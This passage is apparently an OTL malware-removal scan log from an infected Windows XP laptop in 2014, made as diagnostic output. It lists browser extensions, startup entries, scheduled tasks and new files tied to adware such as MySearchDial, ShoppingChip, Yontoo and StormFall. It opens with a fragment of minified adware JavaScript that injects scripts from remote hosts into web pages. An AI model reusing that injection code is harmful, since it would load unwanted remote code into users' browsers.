b.utils.ajax.get(\"//\"+d,function(a){window.__yael_res=JSON.parse(a);\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&__yael.remove_se_handler©,__yael.inject_search())})};\"undefined\"==typeof __yael&&b.init_search_project();-1<b.initThrottle.indexOf(b.projects_name)&&b.events.add(\"keyup\",b.utils.throttle(b.init_search_project,3E3),!1,b.inputElement, !1)}});;if(window.self==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=471207&ext=shoppingchip&systemid=6805408996581083640\";document.getElementsByTagName(\"head\")[0].appendChild(script)};;if(window.self==window.top && window.self.location.protocol=='http:'){var script=document.createElement('script');script.type='text/javascript';script.src='//istatic.datafastguru.info/fo/min/wp.js?subid=shch&hid=6805408996581083640';document.getElementsByTagName(\"head\")[0].appendChild(script);}})();(function(){void(0)})()");
FF - prefs.js..extensions.enabledAddons: a0046b9b-fdb9-497f-a4b1-2a108ad6007a%405cdf80b7-0420-4bb7-b3c0-e188e6f4fb8a.com:0.94.18
FF - prefs.js..extensions.enabledAddons: a9719e64-232b-4695-ae9c-a89cd7f2aa84%40ca1279df-bc0d-44a8-97ef-19301c922b68.com:0.94.21
FF - prefs.js..extensions.enabledAddons: %7Bad9a41d2-9a49-4fa6-a79e-71a0785364c8%7D:9.5.3
FF - prefs.js..extensions.enabledAddons: ffxtlbr%40mysearchdial.com:1.6.0
FF - prefs.js..extensions.enabledAddons: %7B20a82645-c095-46ed-80e3-08825760534b%7D:0.0.0
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:26.0
FF - prefs.js..keyword.URL: "http://feed.snapdo.c...te=19/10/2013="
FF - prefs.js..sweetim.toolbar.previous.browser.search.defaultenginename: ""
FF - prefs.js..sweetim.toolbar.previous.browser.search.selectedEngine: ""
FF - prefs.js..browser.startup.homepage: ""
FF - prefs.js..sweetim.toolbar.previous.keyword.URL: ""
 
 
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_77.dll ()
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=:  File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/DownloadManager,version=1.1: C:\WINDOWS\ [2014/04/20 10:00:16 | 000,000,000 | ---D | M]
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.30214.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@microsoft.com/WPF,version=3.5: c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@RIM.com/WebSLLauncher,version=1.0: C:\Program Files\Common Files\Research In Motion\BBWebSLLauncher\NPWebSLLauncher.dll ()
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files\Google\Update\1.3.23.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files\Google\Update\1.3.23.9\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@videolan.org/vlc,version=2.0.5: C:\Program Files\VideoLAN\VLC\npvlc.dll (VideoLAN)
FF - HKCU\Software\MozillaPlugins\@adobe.com/Acrobat,version=5.1: C:\Program Files\Adobe\Acrobat 5.0\Reader\Browser\nppdf32.dll (Adobe Systems Inc.)
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Components: C:\Program Files\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 26.0\extensions\\Plugins: C:\Program Files\Mozilla Firefox\plugins
 
[2013/04/04 23:26:09 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Extensions
[2014/04/20 00:52:13 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions
[2014/04/19 23:45:10 | 000,000,000 | ---D | M] ("MySearchDial NewTab") -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}
[2013/10/19 22:54:17 | 000,000,000 | ---D | M] (ShoppingChip) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\[email protected]
[2014/04/19 23:58:51 | 000,000,000 | ---D | M] (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged
[2014/04/19 23:58:51 | 000,353,958 | ---- | M] () (No name found) -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\extensions\staged\{ad9a41d2-9a49-4fa6-a79e-71a0785364c8}.xpi
[2014/04/19 23:45:19 | 000,002,789 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Mysearchdial.xml
[2013/10/19 22:37:22 | 000,002,431 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\searchplugins\Web Search.xml
[2013/12/21 18:21:15 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\extensions
[2013/12/21 18:21:14 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\browser\extensions
[2013/12/21 18:22:14 | 000,000,000 | ---D | M] (Default) -- C:\Program Files\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A0046B9B-FDB9-497F-A4B1-2A108AD6007A@5CDF80B7-0420-4BB7-B3C0-E188E6F4FB8A.COM
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\A9719E64-232B-4695-AE9C-A89CD7F2AA84@CA1279DF-BC0D-44A8-97EF-19301C922B68.COM
File not found (No name found) -- C:\DOCUMENTS AND SETTINGS\MICHAEL.TOSHIBA\APPLICATION DATA\MOZILLA\FIREFOX\PROFILES\DP9XCVWZ.DEFAULT\EXTENSIONS\[email protected]
[2013/04/18 21:10:11 | 000,000,000 | ---D | M] (Microsoft .NET Framework Assistant) -- C:\WINDOWS\MICROSOFT.NET\FRAMEWORK\V3.5\WINDOWS PRESENTATION FOUNDATION\DOTNETASSISTANTEXTENSION
 
========== Chrome  ==========
 
CHR - homepage: http://search.condui...8C7AC50C5B=
CHR - Extension: No name found = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.5_0\
CHR - Extension: No name found = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ikcggonfhgaingjbhjanbibmlfeomooc\1.158.0.0_0\
CHR - Extension: No name found = C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0\
 
O1 HOSTS File: ([2004/08/04 05:00:00 | 000,000,734 | ---- | M]) - C:\WINDOWS\system32\drivers\etc\hosts
O1 - Hosts: 127.0.0.1       localhost
O2 - BHO: (AcroIEHlprObj Class) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Acrobat\ActiveX\AcroIEHelper.ocx ()
O2 - BHO: (DriveLetterAccess) - {5CA3D70E-1895-11CF-8E15-001234567890} - C:\WINDOWS\system32\dla\tfswshx.dll (Sonic Solutions)
O3 - HKLM\..\Toolbar: (no name) - {ae07101b-46d4-4a98-af68-0333ea26e113} - No CLSID value found.
O3 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\Toolbar\ShellBrowser: (no name) - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6} - No CLSID value found.
O3 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\..\Toolbar\WebBrowser: (no name) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - No CLSID value found.
O4 - HKLM..\Run: []  File not found
O4 - HKLM..\Run: [APSDaemon] C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe (Apple Inc.)
O4 - HKLM..\Run: [CeEKEY] C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [fst_ca_88]  File not found
O4 - HKLM..\Run: [HWSetup] C:\Program Files\TOSHIBA\TOSHIBA Applet\HWSetup.exe (TOSHIBA CO.,LTD.)
O4 - HKLM..\Run: [LtMoh] C:\\Program Files\\ltmoh\\Ltmoh.exe ()
O4 - HKLM..\Run: [MSC] c:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4 - HKLM..\Run: [NDSTray.exe] NDSTray.exe File not found
O4 - HKLM..\Run: [NvCplDaemon] C:\WINDOWS\System32\NvCpl.dll (NVIDIA Corporation)
O4 - HKLM..\Run: [nwiz] C:\WINDOWS\System32\nwiz.exe (NVIDIA Corporation)
O4 - HKLM..\Run: [PadTouch] C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe (TOSHIBA)
O4 - HKLM..\Run: [RIMBBLaunchAgent.exe] C:\Program Files\Common Files\Research In Motion\USB Drivers\RIMBBLaunchAgent.exe (Research In Motion Limited)
O4 - HKLM..\Run: [SmoothView] C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [SVPWUTIL] C:\Program Files\Toshiba\Windows Utilities\SVPWUTIL.exe (TOSHIBA)
O4 - HKLM..\Run: [TCtryIOHook] C:\WINDOWS\System32\TCtrlIOHook.exe (TOSHIBA)
O4 - HKLM..\Run: [TFncKy] TFncKy.exe File not found
O4 - HKLM..\Run: [TOSHIBA Accessibility] C:\Program Files\TOSHIBA\Accessibility\FnKeyHook.exe (TOSHIBA)
O4 - HKLM..\Run: [TPNF] C:\Program Files\TOSHIBA\TouchPad\TPTray.exe (COMPAL ELECTRONIC INC.)
O4 - HKLM..\Run: [TPSMain] C:\WINDOWS\System32\TPSMain.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [Tvs] C:\Program Files\TOSHIBA\Tvs\TvsTray.exe (TOSHIBA Corporation)
O4 - HKLM..\Run: [upfst_ca_88.exe] C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88\upfst_ca_88.exe ()
O4 - HKLM..\Run: [WFXSwtch] C:\Program Files\WinFax\WFXSWTCH.exe ()
O4 - HKLM..\Run: [WinFaxAppPortStarter] C:\WINDOWS\System32\WFXSNT40.EXE (Microsoft Corporation)
O4 - HKLM..\Run: [ZoomingHook] C:\WINDOWS\System32\ZoomingHook.exe (TOSHIBA)
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [ContentExplorer] C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer\ContentExplorer.exe (ContentExplorer)
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [PriceMeterW] "C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\PriceMeter\pricemeterw.exe" File not found
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe (TOSHIBA)
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006..\Run: [Yontoo Desktop] C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo\YontooDesktop.exe (Yontoo LLC)
O4 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007..\Run: [TOSCDSPD] C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe (TOSHIBA)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Acrobat Assistant.lnk = C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe (Adobe Systems Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk = C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe (Adobe Systems, Inc.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hp psc 1000 series.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe (Hewlett-Packard Co.)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hpoddt01.exe.lnk = C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe (Hewlett-Packard)
O4 - Startup: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RAMASST.lnk = C:\WINDOWS\system32\RAMASST.exe (Matsushita Electric Industrial Co., Ltd.)
O7 - HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-18\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1006\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-21-1293464134-3710048992-3381499047-1007\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O9 - Extra 'Tools' menuitem : Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0\bin\NPJPI150.dll (Sun Microsystems, Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000004 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O12 - Plugin for: .spop - C:\Program Files\Internet Explorer\PLUGINS\NPDocBox.dll (InterTrust Technologies Corporation, Inc.)
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} http://windowsupdate...b?1365139771873 (WUWebControl Class)
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} http://www.update.mi...b?1366086642671 (MUWebControl Class)
O16 - DPF: {8AD9C840-044E-11D1-B3E9-00805F499D93} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O16 - DPF: {B479199A-1242-4E3C-AD81-7F0DF801B4AE} http://download.micr...loadManager.cab (Microsoft Download Manager ActiveX control)
O16 - DPF: {CAFEEFAC-0015-0000-0000-ABCDEFFEDCBA} http://java.sun.com/...indows-i586.cab (Java Plug-in 1.5.0)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.254 75.153.176.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{29FB9B13-C47B-4FD1-8410-EE0A0F25916A}: DhcpNameServer = 192.168.1.254 75.153.176.1
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O20 - AppInit_DLLs: (c:\progra~1\psupport\psupport.dll) - c:\Program Files\PSupport\psupport.dll ()
O20 - HKLM Winlogon: Shell - (Explorer.exe) - C:\WINDOWS\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (C:\WINDOWS\system32\userinit.exe) - C:\WINDOWS\system32\userinit.exe (Microsoft Corporation)
O20 - Winlogon\Notify\AtiExtEvent: DllName - (Ati2evxx.dll) - C:\WINDOWS\System32\ati2evxx.dll (ATI Technologies Inc.)
O20 - Winlogon\Notify\igfxcui: DllName - (igfxsrvc.dll) - C:\WINDOWS\System32\igfxsrvc.dll (Intel Corporation)
O24 - Desktop WallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O24 - Desktop BackupWallPaper: C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
O28 - HKLM ShellExecuteHooks: {A213B520-C6C2-11d0-AF9D-008029E1027E} - C:\Program Files\WinFax\WFXSEH32.DLL (Symantec Corporation)
O32 - HKLM CDRom: AutoRun - 1
O32 - AutoRun File - [2005/05/12 15:34:28 | 000,000,000 | ---- | M] () - C:\AUTOEXEC.BAT -- [ NTFS ]
O34 - HKLM BootExecute: (autocheck autochk *)
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
 
========== Files/Folders - Created Within 30 Days ==========
 
[2014/04/20 15:09:36 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
[2014/04/20 11:25:37 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\Axantum AxCrypt
[2014/04/20 11:25:37 | 000,000,000 | ---D | C] -- C:\Program Files\Axantum
[2014/04/20 10:01:06 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Start Menu\Programs\Startup
[2014/04/20 00:51:14 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Activeris
[2014/04/20 00:38:17 | 000,000,000 | ---D | C] -- C:\Program Files\predm
[2014/04/20 00:22:13 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\ContentExplorer
[2014/04/20 00:15:44 | 000,018,776 | ---- | C] (Systweak Inc., (www.systweak.com)) -- C:\WINDOWS\System32\roboot.exe
[2014/04/20 00:15:25 | 000,000,000 | ---D | C] -- C:\Program Files\PriceMeterLiveUpdate
[2014/04/20 00:15:23 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\PriceMeterLiveUpdate
[2014/04/20 00:15:21 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\PriceMeterLiveUpdate
[2014/04/20 00:15:17 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\systweak
[2014/04/20 00:14:57 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\StormFall
[2014/04/20 00:14:31 | 000,000,000 | ---D | C] -- C:\Program Files\AnyProtectEx
[2014/04/20 00:14:22 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\PriceMeterUpdater
[2014/04/19 23:29:04 | 001,079,839 | ---- | C] (AnyProtect.com) -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\AnyProtectScannerSetup.exe
[2014/04/19 23:01:46 | 000,000,000 | ---D | C] -- C:\Program Files\MyPC Backup
[2014/04/19 22:59:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88
[2014/04/19 22:59:18 | 000,000,000 | ---D | C] -- C:\Program Files\fst_ca_88
[2014/04/19 22:58:21 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Genesis
[2014/04/19 22:58:00 | 000,000,000 | ---D | C] -- C:\Program Files\Re-markit-soft
[2014/04/19 16:12:51 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\188F1432-103A-4ffb-80F1-36B633C5C9E1
[2014/04/19 14:09:42 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\My Documents\BlackBerry
[2014/04/19 13:58:26 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Research In Motion
[2014/04/19 13:58:24 | 000,000,000 | ---D | C] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Research In Motion
[2014/04/19 13:49:45 | 000,014,640 | ---- | C] (Microsoft Corporation) -- C:\WINDOWS\System32\spmsgXP_2k3.dll
[2014/04/19 13:49:15 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Start Menu\Programs\BlackBerry
[2014/04/19 13:49:06 | 000,000,000 | ---D | C] -- C:\Documents and Settings\All Users\Application Data\Research In Motion
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\XCPCSync.OEM
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Research In Motion
[2014/04/19 13:48:15 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\Research In Motion
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[1 C:\WINDOWS\System32\*.tmp files -> C:\WINDOWS\System32\*.tmp -> ]
[1 C:\WINDOWS\*.tmp files -> C:\WINDOWS\*.tmp -> ]
[1 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files - Modified Within 30 Days ==========
 
[2014/04/20 15:09:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
[2014/04/20 14:32:00 | 000,000,888 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineUA.job
[2014/04/20 14:32:00 | 000,000,830 | ---- | M] () -- C:\WINDOWS\tasks\Adobe Flash Player Updater.job
[2014/04/20 12:32:00 | 000,000,884 | ---- | M] () -- C:\WINDOWS\tasks\GoogleUpdateTaskMachineCore.job
[2014/04/20 10:49:54 | 000,021,876 | ---- | M] () -- C:\WINDOWS\System32\nvapps.xml
[2014/04/20 10:09:48 | 000,000,384 | -H-- | M] () -- C:\WINDOWS\tasks\Microsoft Antimalware Scheduled Scan.job
[2014/04/20 10:00:21 | 000,000,226 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Logon.job
[2014/04/20 09:59:30 | 000,002,048 | --S- | M] () -- C:\WINDOWS\bootstat.dat
[2014/04/20 09:59:28 | 2145,898,496 | -HS- | M] () -- C:\hiberfil.sys
[2014/04/20 09:42:34 | 000,001,374 | ---- | M] () -- C:\WINDOWS\imsins.BAK
[2014/04/20 00:56:02 | 000,001,110 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Live PC Help.lnk
[2014/04/20 00:41:43 | 000,001,094 | ---- | M] () -- C:\WINDOWS\tasks\temp_f08de44e-751a-4092-ad9e-9c9a07ee0606-2.job
[2014/04/20 00:15:25 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TW2.job
[2014/04/20 00:15:15 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TW1.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall W2.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall W1.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TM.job
[2014/04/20 00:14:58 | 000,002,138 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\GetPose.lnk
[2014/04/20 00:14:58 | 000,002,138 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\GetPose.lnk
[2014/04/20 00:12:17 | 000,000,947 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Continue VuuPC Installation.lnk
[2014/04/19 23:40:02 | 000,000,368 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP1.job
[2014/04/19 23:37:21 | 000,000,310 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\aps.uninstall.scan.results
[2014/04/19 23:32:14 | 000,358,193 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\speedial.crx
[2014/04/19 23:21:03 | 000,000,366 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP3.job
[2014/04/19 23:21:01 | 000,000,366 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP2.job
[2014/04/19 16:45:49 | 000,000,803 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Microsoft Office Outlook.lnk
[2014/04/19 16:33:55 | 000,000,220 | ---- | M] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Monthly.job
[2014/04/19 16:30:13 | 000,000,664 | ---- | M] () -- C:\WINDOWS\System32\d3d9caps.dat
[2014/04/19 16:15:10 | 000,001,553 | ---- | M] () -- C:\Documents and Settings\All Users\Desktop\iTunes.lnk
[2014/04/19 14:53:50 | 000,007,680 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2014/04/19 14:33:34 | 000,013,785 | ---- | M] () -- C:\ads_err.adt
[2014/04/19 14:33:34 | 000,004,559 | ---- | M] () -- C:\ads_err.adm
[2014/04/19 14:33:34 | 000,003,072 | ---- | M] () -- C:\ads_err.adi
[2014/04/19 14:09:40 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimUsb_01007.Wdf
[2014/04/19 13:49:55 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimSerial_01007.Wdf
[2014/04/19 13:49:53 | 000,000,000 | -H-- | M] () -- C:\WINDOWS\System32\drivers\MsftWdf_Kernel_01007_Coinstaller_Critical.Wdf
[2014/04/19 12:57:58 | 000,001,824 | ---- | M] () -- C:\Documents and Settings\All Users\Desktop\Google Chrome.lnk
[2014/04/19 12:26:11 | 000,002,206 | ---- | M] () -- C:\WINDOWS\System32\wpa.dbl
[2014/04/11 23:13:08 | 001,079,839 | ---- | M] (AnyProtect.com) -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\AnyProtectScannerSetup.exe
[2 C:\Program Files\*.tmp files -> C:\Program Files\*.tmp -> ]
[1 C:\WINDOWS\System32\*.tmp files -> C:\WINDOWS\System32\*.tmp -> ]
[1 C:\WINDOWS\*.tmp files -> C:\WINDOWS\*.tmp -> ]
[1 C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp files -> C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\*.tmp -> ]
 
========== Files Created - No Company Name ==========
 
[2014/04/20 00:56:02 | 000,001,110 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Live PC Help.lnk
[2014/04/20 00:41:38 | 000,001,094 | ---- | C] () -- C:\WINDOWS\tasks\temp_f08de44e-751a-4092-ad9e-9c9a07ee0606-2.job
[2014/04/20 00:15:18 | 000,000,576 | ---- | C] () -- C:\WINDOWS\tasks\StormFall TW2.job
[2014/04/20 00:15:15 | 000,000,576 | ---- | C] () -- C:\WINDOWS\tasks\StormFall TW1.job
[2014/04/20 00:15:11 | 000,000,576 | ---- | C] () -- C:\WINDOWS\tasks\StormFall W2.job
[2014/04/20 00:15:09 | 000,000,576 | ---- | C] () -- C:\WINDOWS\tasks\StormFall W1.job
[2014/04/20 00:15:07 | 000,000,576 | ---- | C] () -- C:\WINDOWS\tasks\StormFall TM.job
[2014/04/20 00:14:58 | 000,002,138 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\GetPose.lnk
[2014/04/20 00:14:57 | 000,002,138 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\GetPose.lnk
[2014/04/19 23:48:30 | 000,000,947 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Continue VuuPC Installation.lnk
[2014/04/19 23:32:30 | 000,358,193 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\speedial.crx
[2014/04/19 23:20:46 | 000,000,366 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP3.job
[2014/04/19 23:20:45 | 000,000,366 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP2.job
[2014/04/19 23:20:43 | 000,000,368 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP1.job
[2014/04/19 23:18:41 | 000,000,310 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\aps.uninstall.scan.results
